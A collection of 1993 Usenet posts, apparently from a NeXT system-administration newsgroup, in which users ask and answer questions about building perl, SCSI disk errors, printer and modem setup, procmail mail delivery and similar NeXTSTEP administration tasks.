the Configure script doesn't find stdio.h in /usr/include/ansi. The
solution I reached is to create a new directory /usr/include/flatbsd
with links to all the files in both /usr/include/bsd, and
/usr/include/ansi, and then tell Configure to use this directory.
The most obvious improvement is that -T and -B on filehandles then
work, so the makewhatis script accompying the perl man reader doesn't
bomb out.
Not a terribly profound piece of diagnostics, I know, but it might
save a few people an hour or so...
Anthony
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From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: Again: Which CD-ROM drive to recommend
Sender: gemoe@proximus.north.de
Organization: Gerhard Moeller, German NeXT User Group, Oldenburg.
Date: Sat, 3 Apr 1993 06:55:19 GMT
Message-ID: <1993Apr3.065519.3406@proximus.north.de>
Hi Netter,
again, I ask the community about their experiences with CD ROM
drives. I once tried to start such a thread, but it seems that none
answered. I will collect all email to me and post a summary of CD ROMS
working with the NeXT.
Please include the brand, speed (access and transfer rates, cache) price
and your overall "feeling" of the drive. (i.e. would you buy it again?)
The list so far: (Not that great response, btw... ;-) )
* Toshiba XM3401 - (200ms, 330KB, 256KB cache) price: ???
works well with the NeXT, supports all standards. (You need a XA-driver)
Thank you very much, Gerhard.
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From: foxm@rintintin.Colorado.EDU (Mike Fox)
Subject: Quantum drive woes
Message-ID: <1993Apr4.214209.23632@ucsu.Colorado.EDU>
Keywords: Quantum disk
Sender: news@ucsu.Colorado.EDU (USENET News System)
Organization: University of Colorado, Boulder
Date: Sun, 4 Apr 1993 21:42:09 GMT
I'm trying to install a QUANTUM ELS170S in my system. When I format
the disk, the format (disk -d .5 -F /dev/rsd1a) completes
successfully. However, when I try to initialize the disk, via
disk or when I log in, I get the following errors:
/usr/etc/disk -i -h bagheera -l "Disk" /dev/rsd1a
disk name: QUANTUM ELS170S
disk type: fixed_rw_scsi
writing disk label
sd1: Incomplete disk transfer; bytes moved = 0x1e00, resid=0x1c48, retry 1
.
.
.
retry 9
sd1: Incomplete disk transfer - FATAL
sd1: Incomplete disk transfer; bytes moved = 0x1e00, resid = 0x248, retry 1
sd1: Incomplete disk transfer; bytes moved = 0x1e00, resid = 0x248, retry 1
sd1: Incomplete disk transfer; bytes moved = 0x1e00, resid = 0x248, retry 1
creating new filesystem on /dev/rsd1a
/usr/etc/newfs -n -v /dev/rsd1a
/etc/mkfs /dev/rsd1a 166808 32 4 8192 1024 16 10 60 4096 t
sd1: Incomplete disk transfer; bytes moved = 0x400, resid = 0x400, retry 1
.
.
.
retry 9
sd1: Incomplete disk transfer - FATAL
write error: 166807
wtfs: I/O error
/usr/etc/newfs /dev/rsd1a failed (status 1)
I do not have the specifications for the disk other than the
following (via Rory Bolt's SCSI Formatter):
QUANTUM ELS170S
Blocksize 512 bytes/block
Revision 3.0606/16/92 166220460332
Capacity 166968 Kbytes
ANSI version 2
My system:
NeXT 040 Cube ROM ver.2.5 66
Has anybody gotten this disk, or this family of disks, working
with a NeXT? What do the errors signify?
Mike
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Subject: Re: fax Cover Sheet
Message-ID: <1993Apr5.091438.15591@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Mon, 5 Apr 1993 09:14:38 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <C4tKE8.DxK@northstar.com>
Distribution: usa
Organization: Institut fuer Informatik
In article <C4tKE8.DxK@northstar.com> writes:
> Hello
>
> I am trying to modify the Cover sheet for faxes. I would like to know if
> there is any documentation. I know how to basic things but I would like
> to create a new form so that the phone number of the person I am calling
> is automatically put on the cover sheet.
>
> Is this possible? If so how? Also I would like to format the date into a
> more standard format. Is this possible?
>
> Thanks
> ---
> Ried Thiel NeXTMail ried@northstar.com
> NorthStar Technologies, Inc.
> 15 Maiden Lane Suite 803
> New York NY 10038 212-267-4100 X-160
I, too, would like to know how to set a different date format. The default
really sucks.
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( if all fails try frank@urz.unibas.ch )
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From: griz.hacker.net!keith (Keith Hollister)
Subject: where's nslookup?
Message-ID: <1993Apr5.111811.1215@griz.uucp>
Sender: keith@griz.uucp
Organization: Ursa Systems
Date: Mon, 5 Apr 1993 11:18:11 GMT
Hi,
Can someone point me to either a compiled version of nslookup for a NeXT,
or the source to same? Thanks
Keith Hollister
uunet!griz!keith (NeXT mail)
----or---
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From: anderson@macc.wisc.edu (Jess Anderson)
Subject: Re: where's nslookup?
Message-ID: <1993Apr5.134840.18483@macc.wisc.edu>
Sender: news@macc.wisc.edu (USENET News System)
Organization: Madison Academic Computing Center, UW-Madison
References: <1993Apr5.111811.1215@griz.uucp>
Date: Mon, 5 Apr 93 13:48:40 GMT
In article <1993Apr5.111811.1215@griz.uucp>
griz.hacker.net!keith (Keith Hollister) writes:
>Can someone point me to either a compiled version of nslookup for a NeXT,
>or the source to same? Thanks
/usr/etc/nslookup
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From: davisre@sage.cc.purdue.edu (Robert Davis)
Subject: Re: /etc/mtab? and the auto-diskmounter? and booting?
Message-ID: <C50MKz.8JH@mentor.cc.purdue.edu>
Sender: news@mentor.cc.purdue.edu (USENET News)
Organization: Purdue University Computing Center
References: <1993Mar29.200213.160239@zeus.calpoly.edu> <1993Mar30.001253.12872@vax.oxford.ac.uk>
Date: Mon, 5 Apr 1993 14:50:51 GMT
>In article <1993Mar29.200213.160239@zeus.calpoly.edu>, kwang@data.acs.calpoly.edu (Kevin John Wang) writes:
>> Does anyone else's /etc/mtab keep getting chmod'ed to 600? This is
>> wreaking havoc over here because df and SoundWorks refuse to work if they
>> can't read /etc/mtab.
>> 1: I have verified it in as far as on SOME of our
>> machines the file is 600 after boot. SOME machines.
>> 2: I'm fairly sure that on ALL the machines ejecting a floppy causes
>> /etc/mtab to become 600. inserting does not.
>> 3: I *THINK* that the OD has the same effect.
>> 4: I *THINK* that fsck also twiddles with the permissions.
If you can tolerate such a change, setting your umask (in Unix
Expert Preferences) so that everyone can read/execute will cause the
problem to go away.
This may not be an option for network users.
Rob
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From: hogan@boetius.rz-berlin.mpg.de (Kharim Hogan)
Subject: How long can a NeXT printer cable REALLY be???
Message-ID: <1993Apr5.050305.28109@thunder.mcrcim.mcgill.edu>
Sender: news@thunder.mcrcim.mcgill.edu
Organization: Los Alamos National Laboratory, NM
Date: Mon, 5 Apr 93 05:03:05 GMT
Hi,
We are needing to attach a NeXT laser printer to a NeXT that is about
40 feet away. Is there any way to do this? i.e. can one buy a cable
that long or have one made somewhere or is this even possible? What's
the longest length such a cable can be? FAQs say that the printer cable
can't be longer than the one supplied by NeXT. Is this really the final
word?
Thanks,
Kharim Hogan
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From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: New user mail
Message-ID: <1993Apr5.161618.4102@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1p0fcj$s1d@msuinfo.cl.msu.edu>
Date: Mon, 5 Apr 1993 16:16:18 GMT
Jim LeBay (lebay@mercury.cl.msu.edu) wrote:
: Michael_Pizolato@afs.com writes
: > Where does the mail that a new user receives come from? If possible,
: > I'd like to add to it so it includes some site-specific information
: > that our new users should know.
:
: New account home directories are copies of /usr/template/user. So you
: could customize the Preferences, or .cshrc, or Mailboxes/Active.mbox.
And in fact it's quite useful to create a fake user (you will have to do
this manually) whose home directory is /usr/template/user. By doing
this you can easily sign on and set up the defaults the way you want
them.
One of the otherthings that's quite useful is if the default .cshrc
file has a line:
source /u/home/skeleton/standard.csh
This way you can add a new alias or a new path to the standard without
having to notify all users and teach them how to edit .cshrc files.
Savvy users are told that they can edit away, but it's their
responsibility from then on. Most of my users source the default, then
override what they don't like.
That voice mail from Steve takes up a quarter meg. Mulitipy by n users
and you have significant disk gone.
Create a link in /usr/template/user/Mailboxes/OurSystem to whatever
account you use yourself for administration. All new users have two
mailboxes Active, and OurSystem, although they can't modify the
latter.
Whenever you have a new package installed, create a message, and send it
to the admin account, then transfer it to OurSystem. This message
should be a page describing the capabilities of the program, or the way
we do things. The mailbox should be kept sorted by subject, with the
first word being a keyword like "POLICY" "SOFTWARE" "HOWTO" "*NEWUSER"
The subject line needs to be well thought out.
(To sort the mailbox and leave it sorted, create a temporary mailbox,
transfer All the messages to it, sort them by subject, then transfer
them back.)
If you have a site where people use command line Unix geeky stuff a lot,
then you can add stuff to the Stuart manual. A quick look at the manual
directory will make it fairly obvious how to go about this..
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=> tel:403 492-3713 fax: 403 492-4256 <=
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From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: How to make "lpr -d file.dvi" work
Message-ID: <1993Apr5.172145.7759@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <jwdb.733149386@dutnak2>
Date: Mon, 5 Apr 1993 17:21:45 GMT
Jan-Willem de Bruijn (jwdb@dutnak2.tudelft.nl) wrote:
: If I look in the man page for lpr(1), it mentions an option -d that allows
: one to print dvi files (as produced by tex). However, the command
: lpr -d file.dvi does absolutely nothing, not even produce an error message.
:
: I have TeX installed, and thus also dvips (in /usr/local/bin).
:
: I cannot quickly find out where to customize the various lpr/lpd scripts.
: Can someone point me to the right procedure to make this work?
:
: Thanks in advance for taking the trouble to answer,
:
lpr sets up the files and then tells lpd about them. Lpd in turn pipes
the files to /usr/lib/NextPrinter/comm. although it's sneaky: There
are a raft of links to comm. Lpd calls one of these links, and the
actions that pscomm takes depend on the name it was invoked by.
Now in actual fact Nextprinters default to sending stuff directly to
npcomm under normal circumstances. And this is also where comm
eventually sends it. This means, however that the psif filter is never
used.
Anyway, comm is a script that you can edit to use the dvips filter.
To keep things consistent with other filter usage it should live in
/usr/lib/Nextprinter, however, since people may want to use it as a
command in its own right, creating a link would also be ok.
Finally, if you don't want to hack with this,
alias dviprint 'cat \!* | dvips -f | lpr'
in your .cshrc file then
dviprint file1.dvi file2.dvi ...
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=> University of Alberta Lab Manager, Space Physics Group <=
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From: giltner@pogo.Colorado.EDU (Jon Giltner)
Subject: Printing Inconsistancies
Message-ID: <giltner.734029750@pogo.colorado.edu>
Sender: news@ucsu.Colorado.EDU (USENET News System)
Organization: University of Colorado, Boulder
Date: Mon, 5 Apr 1993 17:09:10 GMT
I am having a problem getting PostScript from PPD files to be included
correctly when printing from an app. There seems to be something inconsistant,
because when I spool to a printer, the PPD file PostScript does not get
included properly, but when I save to a file (choose Save... from the
Print... pannel), the saved file *does* have the correct PostScript. Here
are the specifics:
I am printing to a remote HP IIISi PostScript printer which can do duplex.
I stop the queue (lpc stop hpiiisi) so that I can examine jobs printed
there.
I print twice to the queue, once using the default Options..., the second time
selecting DuplexNoTumble from Options... Here is a diff of the two files
that get spooled:
pogo.colorado.edu:31# diff df*
4c4
< %%CreationDate: Mon Apr 5 11:01:51 1993
---
> %%CreationDate: Mon Apr 5 11:02:01 1993
201c201
< %%Feature: *Duplex None
---
> %%Feature: *Duplex DuplexNoTumble
Neither contains any PostScript to set the duplex mode on the printer (and
in fact, either job will simply use whatever the printer is set to by
default).
BUT, if instead of spooling to a printer I save to a file (using Save... from
the print pannel), here are the diffs of the two files:
pogo.colorado.edu:32# diff /tmp/none.ps /tmp/dup.ps
4c4
< %%CreationDate: Mon Apr 5 11:02:25 1993
---
> %%CreationDate: Mon Apr 5 11:02:51 1993
209c209
< %%BeginFeature: *Duplex None
---
> %%BeginFeature: *Duplex DuplexNoTumble
211c211
< false statusdict /setduplexmode get exec false statusdict /settumble get exec
---
> true statusdict /setduplexmode get exec false statusdict /settumble get exec
Notice the the "none" has the PostScript code included from the PPD file
to turn duplex off, and the other has code to turn duplex on.
How come the PPD file isn't used properly when the job is actually spooled
to a printer?
--
Jon Giltner
Computing and Network Services University of Colorado
(giltner@spot.Colorado.EDU) Boulder
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From: hoymand@wissago.wisc.edu (Dirk Herr-Hoyman)
Subject: Procmail as local mail delivery agent
Message-ID: <1993Apr5.182504.18252@pslu1.psl.wisc.edu>
Sender: news@pslu1.psl.wisc.edu (USENET News System)
Organization: Physical Sciences Lab, UW-Madison
Date: Mon, 5 Apr 93 18:25:04 GMT
I am considering using procmail, a mail filtering package, as the local mail
delivery agent, as suggested in it's documentation. Basically this will
require changing the sendmail.cf to use /usr/local/bin/procmail in the Mlocal
rule.
Before I do this, I thought I'd ask to see if there are any "gotchas".
Thanks.
--
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Internet Publishing Specialist
Electronic Journal of Extension Project Coordinator
University of Wisconsin-Extension
hoymand@joe.uwex.edu (NeXTmail accepted)
608-265-3893 (voice) 608-265-2530 (fax)
From: lotto@math.berkeley.edu (Ben Lotto)
Newsgroups: comp.sys.next.sysadmin
Subject: Want to dial out and in
Date: 5 Apr 93 13:01:54
Organization: U.C. Berkeley Math. Department.
Distribution: world
Message-ID: <LOTTO.93Apr5130154@math.math.berkeley.edu>
I've been trying to set up a NeXT with a modem to dial out and in.
I followed the instructions in the manual, setting the modem to the
appropriate settings, changing the line in /etc/ttys to read:
ttyda "/usr/etc/getty D9600" dialup on
and then typing kill -HUP 1. The modem now answers calls but I can't
get the machine to dial out. We had been using kermit to dial out
before without any problem, but now /dev/ttya is always busy and
kermit won't take /dev/cua as an alternate device. (The manual says
to dial out using /dev/cua.) How can I get this to work?
Thanks.
--
-B. A. Lotto
Department of Mathematics/Lake Forest College/Lake Forest IL 60045
708-735-5159
lotto@math.berkeley.edu
From: bryan@kolsky.tamu.edu (Bryan Milligan)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin,tamu.general
Subject: Trying to install perl.
Date: 5 Apr 1993 20:19:42 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1pq48uINN4l6@tamsun.tamu.edu>
Keywords: perl, next
I'm trying to install perl on my NeXTstation, but apparently I
am doing something wrong. I accepted all the defaults suggested by the
Configure script (hey, they looked good to me) after selecting "next"
as the os option. Does anyone out there have any tips or suggestions?
The version I have is perl-4.036; I ftp'd this from prep.ai.mit.edu.
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From: griz.hacker.net!keith (Keith Hollister)
Subject: Re: where's nslookup?
Message-ID: <1993Apr5.203738.490@griz.uucp>
Sender: keith@griz.uucp
Organization: Ursa Systems
References: <1993Apr5.134840.18483@macc.wisc.edu>
Date: Mon, 5 Apr 1993 20:37:38 GMT
In article <1993Apr5.134840.18483@macc.wisc.edu> anderson@macc.wisc.edu
(Jess Anderson) writes:
> In article <1993Apr5.111811.1215@griz.uucp>
> griz.hacker.net!keith (Keith Hollister) writes:
>
> >Can someone point me to either a compiled version of nslookup for a
NeXT,
> >or the source to same? Thanks
>
> /usr/etc/nslookup
>
Oh, how embarassing! I didn't try to execute this as root and my normal
user account doesn't have /usr/etc in the path. I didn't think to do a
find. Boy do I feel stupid.
Keith Hollister
uunet!griz!keith
From: rmyers@dec5200.acs.uci.edu (Richard Myers)
Subject: NetWare gone...
Message-ID: <2BC0A285.15650@news.service.uci.edu>
Summary: can't find directory
Newsgroups: comp.sys.next.sysadmin
Organization: University of California, Irvine
Keywords: NetWare
Date: 5 Apr 93 21:20:06 GMT
We had NetWare running fine for about a week. Now when we log on all
we see is the volume 'SYS'.
lr-xr-xr-t 2 root 1024 Apr 5 13:43 /Net/NetWare/LDS2/SYS -> (automount)@
I can't see anything there, nor can I change to that directory. I have
plenty of rights on the Novell box. The Novell is Arcnet+10baseT.
NetWare 3.11, 20 user (with space to log on).
Please mail tips on how to see the files on the server.
Thanks,
Kurt
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: Procmail as local mail delivery agent
In-Reply-To: hoymand@wissago.wisc.edu's message of Mon, 5 Apr 93 18:25:04 GMT
To: hoymand@wissago.wisc.edu (Dirk Herr-Hoyman)
Message-ID: <CEDMAN.93Apr5160449@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1993Apr5.182504.18252@pslu1.psl.wisc.edu>
Date: Mon, 5 Apr 1993 20:04:49 GMT
In article <1993Apr5.182504.18252@pslu1.psl.wisc.edu> hoymand@wissago.wisc.edu (Dirk Herr-Hoyman) writes:
I am considering using procmail, a mail filtering package, as the local mail
delivery agent, as suggested in it's documentation. Basically this will
require changing the sendmail.cf to use /usr/local/bin/procmail in the Mlocal
rule.
Before I do this, I thought I'd ask to see if there are any "gotchas".
I've been using a line like this in my sendmail.cf for years without
any problem.
Mlocal, P=/usr/local/bin/procmail, F=rlsDFMmnP, S=10, R=20, A=procmail -d $u
Carl Edman
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From: michael@visix.com (Rainbow Without Eyes)
Subject: Help on printer configuration?
Sender: news@visix.com
Message-ID: <C4uBIs.Exn@visix.com>
Date: Fri, 2 Apr 1993 05:06:28 GMT
Organization: Visix Software Inc., Reston, VA
Greetings!
Apologies in advance if this is in the wrong place. If so, please
advise me as to where questions like this do belong.
I am trying to attach an NEC Silentwriter 95 to my NeXT. The computer
is a standalone 68030-driven slab running NeXTstep 3.0 with a
grayscale head and a SCSI II port.
I'm not picky if the printer is driven off the SCSI chain or a serial
port -- I just want it to work. So far, all efforts have led to a
stony silence from the printer. Just for sanity checking -- I've got
the baud rates both set at 9600, the RS422 port enabled (thus
disabling LocalTalk) with 8/N/1, the RS232 port enabled with 8/N/1,
and the parallel port enabled.
Thanks in advance,
MJB
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From: anderson@macc.wisc.edu (Jess Anderson)
Subject: Re: where's nslookup?
Message-ID: <1993Apr6.030918.23542@macc.wisc.edu>
Sender: news@macc.wisc.edu (USENET News System)
Organization: Madison Academic Computing Center, UW-Madison
References: <1993Apr5.134840.18483@macc.wisc.edu> <1993Apr5.203738.490@griz.uucp>
Date: Tue, 6 Apr 93 03:09:18 GMT
In article <1993Apr5.203738.490@griz.uucp>
griz.hacker.net!keith (Keith Hollister) writes:
>In article <1993Apr5.134840.18483@macc.wisc.edu> anderson@macc.wisc.edu
>(Jess Anderson) writes:
>> /usr/etc/nslookup
> Oh, how embarassing! I didn't try to execute this as root and my normal
>user account doesn't have /usr/etc in the path. I didn't think to do a
>find. Boy do I feel stupid.
Don't sweat it. I couldn't find it either, the first time I
wanted to use it. I wrote to a friend at NeXT who told me
what I just told you.
--
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From: eps@shell.portal.com (Eric Schwartz)
Subject: Failed System Test on a NeXTstation. Help!!
Message-ID: <C51sLJ.3B1@unix.portal.com>
Followup-To: poster
Keywords: crash
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Organization: Portal Communications Company
Date: Tue, 6 Apr 1993 05:58:28 GMT
PLEASE!! If you have lived through a Failed System Test and can offer
any advice at all, please take a moment to read this message.
A few hours ago my NeXTstation (running NS 2.1) popped up the following
message:
panic: (Cpu 0) MMU invalid descriptor during table walk
It was one of those error panels that makes you cringe instantly, and the
whole system was locked up - no keyboard, mouse, etc. The power key didn't
work, nor did the usual keyboard sequences to enter the ROM monitor, etc.
After pulling the plug and starting it back up, it immediately gave a
"Failed System Test" message after "Testing system..", and then froze.
The only thing I was able to do was press the power key, which brought up
the ROM monitor, and the only information I was able to get from there
was:
Exception #2 (0x8) at 0x1006cdc <-- this came up several times
as I tried to press Power to shut it down again
and Exception #3 (0xc) at 0x100034c
I ran out of ideas shortly after that and turned off the DRAM and system
test options with the 'P' monitor command, and powered down again. Now
I no longer get even a "Testing system" message or a box - just a blank
screen and no ROM monitor.
I am now desperate to get the machine back up and running, and I'd be
grateful for ANY information that someone can offer, particularly:
Any ideas what might have happened?
Could it be a bad battery on the motherboard, which is now
several years old? (Has anyone had this problem?)
What are my options for hardware/technical support given that
I have/had no support contract through NeXT, and purchased the
machine at a university that (as far as I know) is no longer
dealing with NeXT hardware?
Thanks very much for your time and hopefully your response.
Eric
eps@shell.portal.com
voice (408) 279-7191
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From: kchang@ncsa.uiuc.edu (Kenneth Chang)
Subject: Bad super-block...now what?
Date: Tue, 6 Apr 1993 07:15:15 GMT
Message-ID: <1993Apr6.071515.7748@ncsa.uiuc.edu>
Sender: kchang@ncsa.uiuc.edu (Kenneth Chang)
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Organization: Nat'l Ctr for Supercomp App (NCSA) @ University of Illinois
In the process of trying to upgrade from 2.1 to 3.0, I appear to have
severely hosed the hard disk. The best I can do write now is boot up
in single-user mode off the CD-ROM player. fsck'ing the internal hard
disk gives me:
BAD SUPER-BLOCK: MAGIC NUMBER WRONG
Trying to specify an alternative super-block via the -b option does diddly.
(Says the magic number is still wrong.)
In addition, "disk -i /dev/rsd0a" tells me:
Warning: 364 sector(s) in last cylinder unallocated
This latter command crashes the machine midway through providing a list
of supposed alternate super-blocks.
Anyway, what should I do now and is there anyway of remedying this
malady short of dropping the hard disk out the window? It's 2 a.m.
& I am not amused.
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From: mark@xexos.com (Mark Chamberlain)
Subject: Re: How long can a NeXT printer cable REALLY be???
Message-ID: <1993Apr6.060305.1750@xexos.com>
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Organization: Xexos, Ltd (London)
References: <1993Apr5.050305.28109@thunder.mcrcim.mcgill.edu>
Date: Tue, 6 Apr 1993 06:03:05 GMT
In article <1993Apr5.050305.28109@thunder.mcrcim.mcgill.edu>
hogan@boetius.rz-berlin.mpg.de (Kharim Hogan) writes:
> Hi,
>
> We are needing to attach a NeXT laser printer to a NeXT that is about
> 40 feet away. Is there any way to do this? i.e. can one buy a cable
> that long or have one made somewhere or is this even possible? What's
> the longest length such a cable can be? FAQs say that the printer cable
> can't be longer than the one supplied by NeXT. Is this really the final
> word?
>
We tried a 30 foot one at a clients site, and it worked. Your mileage may vary,
usual disclaimers etc.
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From: nico@imani.cam.org (Nicolas Dore)
Newsgroups: comp.sys.next.sysadmin
Subject: swapfile.front as vm file. Should I worry
Keywords: vm virtual memory
Message-ID: <1993Apr5.141454.1511@imani.cam.org>
Date: 5 Apr 93 14:14:54 GMT
Sender: nico@imani.cam.org
Hi
My machine uses a file named "/private/vm/swapfile.front" for virutal
memory. The file /private/vm/swapfile" exists, but doesn't seem to grow
with memory usage. "/etc/swaptab" defines "/private/vm/swapfile" as the vm
file. I run 3.0 on a single HD '040 Cube, with a PLI 2.88 MB floppy on the
chain.
Now, what is happening? Can I delete "/private/vm/swapfile"? (I guess not)
Can I get my machine to stop using "swapfile.front"?
Thanks
Nicolas Dor'e
Montr'al
No funny/interesting quote/picture: I have no idea how to di this!
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From: jeffs@nextnorth.acs.ohio-state.edu (Jeff Schluep)
Subject: Printer woes...
Message-ID: <1993Apr6.132122.10115@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Tue, 6 Apr 1993 13:21:22 GMT
I have a printer that is connected to a next station. It has been
working fine and then all of a sudden it started spitting out these messages:
lpd: Name /usr/ucb/lpr Msg connect "/dev/printe
r" No such file or directory
npd[113]: PrintSpooler couldn't connect to /dev
/printer: No such file or directory
The file doesn't exist like the message says but, I can't find it on
other systems that have printers either!
I have 2.1 on this particular system. Thanks in advance,
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From: karthy@dannug.dk (Karsten Thygesen)
Subject: tmpfs on the NeXT?
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Date: Tue, 6 Apr 1993 12:41:17 GMT
Hi
I just saw the tmpfs to the Suns, and I wonder if something similar
exists to the NeXT??
tmpfs is a system so map any directory of your choise (i.e. /tmp) into
virtual ram. In some cases, this have some drastic performance
enhancements, but I have newer seen something similar to the NeXT.
Any pointers??
Karsten.
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: tmpfs on the NeXT?
In-Reply-To: karthy@dannug.dk's message of Tue, 6 Apr 1993 12:41:17 GMT
To: karthy@dannug.dk (Karsten Thygesen)
Message-ID: <CEDMAN.93Apr6094156@capitalist.princeton.edu>
Originator: news@nimaster
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Date: Tue, 6 Apr 1993 13:41:56 GMT
In article <KARTHY.93Apr6134117@dannug.dannug.dk> karthy@dannug.dk (Karsten Thygesen) writes:
I just saw the tmpfs to the Suns, and I wonder if something similar
exists to the NeXT??
tmpfs is a system so map any directory of your choise (i.e. /tmp) into
virtual ram. In some cases, this have some drastic performance
enhancements, but I have newer seen something similar to the NeXT.
I'm not aware of any public implementation of tmpfs though there are a
few papers on the subject on the archives. Until I get around to that
point on my TODO list, try compiling (which is probably the most
common application with which tmpfs helps) with the '-pipe' switch.
It should give you most of the advantages of tmpfs.
Carl Edman
From: krause@buran.fb10.tu-berlin.de (Martin Krause)
Newsgroups: comp.sys.next.sysadmin
Subject: Automatic permanent mount of non 4.3-CD-Roms
Date: 6 Apr 1993 16:10:39 GMT
Organization: TUBerlin/ZRZ
Message-ID: <1psa1v$sti@mailgzrz.TU-Berlin.DE>
Hi,
I am trying to mount a non 4.3-cdrom disk. Since fstab only work
for 4.3 disks my first try was
/usr/etc/mount -t cfs /dev/rsh2h /cd_data
in rc.local . (The cd-rom drive has the sd2 SCSI-id).
Since this hasn't worked, I have tried to mount the CD in single
user mode, but failed completely. Any tries like
/usr/etc/mount -t cfs /dev/sh2? /cd_data
/usr/etc/mount -t cfs /dev/rsh2? /cd_data
failed. (No, the cd-rom drive was recognized as sd2 while booting).
If I normally boot my computer, login as any user, logout again,
and insert the cd-rom then I am able to mount with
/usr/etc/mount -t cfs /dev/rsh2h /cd_data
Is there any way to configure the following behavior
1) Insert the cd-rom
2) Boot the computer
3) The computer mount the cd-rom (non 4.3) automatically and
permanently.
Any help appreciated.
Thanks in advance
Martin Krause
krause@math.tu-berlin.de
From: bryan@kolsky.tamu.edu (Bryan Milligan)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,tamu.general
Subject: Trying to install perl. (SOLVED...I hope.)
Date: 6 Apr 1993 17:18:21 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1pse0tINNhgd@tamsun.tamu.edu>
Keywords: perl, next
First off I would like to apologize for the vagueness of
my original post. As one respondent pointed out, "doing something
wrong" is not a lot to go on. The problem was a failure of the
self test when runnung 'make test', specifically in the groups.t
file.
Thanks to Anthony Heading for solving my problem. The
trouble resulted from NeXT having the header files split up between
two directories, namely /usr/include/bsd and /usr/include/ansi.
The solution is to create a single directory with links to all the
files in the other two directories and the tell the Configure script
to look there for the include files. I did this and reran Configure
and make, and all seemed to go well. I think (hope) perl is working
now.
--
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Department of Aerospace Engineering Fax: (409) 845-6051
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From: soward@slow.inslab.uky.edu (John Soward)
Subject: Re: Help on printer configuration?
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References: <C4uBIs.Exn@visix.com>
Date: Tue, 6 Apr 1993 17:15:44 GMT
Rainbow Without Eyes writes
->
-> Greetings!
->
-> Apologies in advance if this is in the wrong place. If so, please
-> advise me as to where questions like this do belong.
->
-> I am trying to attach an NEC Silentwriter 95 to my NeXT. The computer
-> is a standalone 68030-driven slab running NeXTstep 3.0 with a
-> grayscale head and a SCSI II port.
->
Well, not to sound like a butthead, but there is no 68030 slab, they're
all 040s and even though it has a SCSI-II connector it is not...
-> I'm not picky if the printer is driven off the SCSI chain or a serial
-> port -- I just want it to work. So far, all efforts have led to a
-> stony silence from the printer. Just for sanity checking -- I've got
-> the baud rates both set at 9600, the RS422 port enabled (thus
-> disabling LocalTalk) with 8/N/1, the RS232 port enabled with 8/N/1,
-> and the parallel port enabled.
Okay the SCSI won't work unless you whip up your own driver...serial
should work fine...one just needs the proper cabling...a Mac serial cable will
work, but you will not be able to use hardware flow-control which might be a
problem...probably not at 9600, one way to the NEC, but...So just plug the
printer up, run /NextApps/PrinterManager.app and add the NEC...making sure to
disable HW flow-control, unless you are sure you have a cable capable of it.
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From: jwdb@dutnak2.tudelft.nl (Jan-Willem de Bruijn)
Subject: Re: How to make "lpr -d file.dvi" work
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References: <jwdb.733149386@dutnak2> <1993Apr5.172145.7759@kakwa.ucs.ualberta.ca>
Date: Tue, 6 Apr 1993 16:29:48 GMT
To summarize:
>: If I look in the man page for lpr(1), it mentions an option -d that allows
>: one to print dvi files (as produced by tex). However, the command
>: lpr -d file.dvi does absolutely nothing, not even produce an error message.
As several people pointed out to me by personal e-mail (for which my
thanks): 'lpr' makes use of a script in /usr/lib/NextPrinter/Server/,
which is called 'lpd.comm'. In actuality 'lpd' calls one of several
symbolic links, present in that directory.
It turned out that the rule for calling a dvi to PostScript filter
is not implemented in 'lpd.comm', so you have to put it in yourself.
(Secondly, there were some syntax errors in there as well, that only
surfaced when a different filter was called, but these were minor.)
The whole point of this exercise was to allow emacs users to print
dvi files with "one" keystroke. It then performs "lpr -d".
So that's why,
Jan-Willem
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Delft University of Technology only a means to an end.
From: mike@stacken.kth.se (Mike Henry)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Timezone info in Preferences incomplete
Message-ID: <mike.734118765@sune.stacken.kth.se>
Date: 6 Apr 93 17:52:45 GMT
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In <1993Mar30.071545.9216@rna.indiv.nluug.nl> gerben@rna.indiv.nluug.nl writes:
>It is indeed a litlle confusing, but the time on the map is MET DST, which is
>Middle European Time, Daylight Savings Time, the correct time for NL.
BTW, shouldn't MET be CET (central european time)?
Anyway "Poland" has worked well for me... B^)
>Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539
-Mike
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From: mike@stacken.kth.se (Mike Henry)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: WARNING: possible FAQs. Dial-in, Supra V.32bis, RTS/CTS.
Message-ID: <mike.734119208@sune.stacken.kth.se>
Date: 6 Apr 93 18:00:08 GMT
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In <1pbi7u$ig0@uxa.ecn.bgu.edu> upbundal@uxa.ecn.bgu.edu (Pred Bundalo) writes:
>Here's what I did and what happens:
>1) Ordered a NeXT modem cable from NeXTConnection (part #8991) for
> my Supra V.32bis V.42bis external FAXModem.
>2) Edited /etc/ttys and commented out the entry for ttyda and replaced
> it with an entry for ttydfa:
>ttydfa "/usr/etc/getty std.9600" vt100 on
I usually use DFax but I never used vt100 in /etc/ttys. Here's my old setup:
ttydfa "/usr/etc/getty D38400" dialup on
> What happens is that when I dial in (at 2400 baud; I don't have
> access to a faster modem) I get connected and the Supra connects
> at the correct speed (ie CONNECT 2400, the LED display confirms
> it also) but I get garbage on my screen that looks typical of
> a connection at the wrong speed.
I'd say avoid "fixating" the terminal to vt100, use dialup and see.
> I'd really like that FAQ and, even more, I'd like to hear from
> Supra owners who've done this successfully.
I don't think this is actually in the FAQ. The best help you have is the
"Network and System Administration" manual that came with your machine. It's
unbelievable how many questions asked on the net have answers which can be
found in that manual.
BTW, get DFax and really rock and roll!
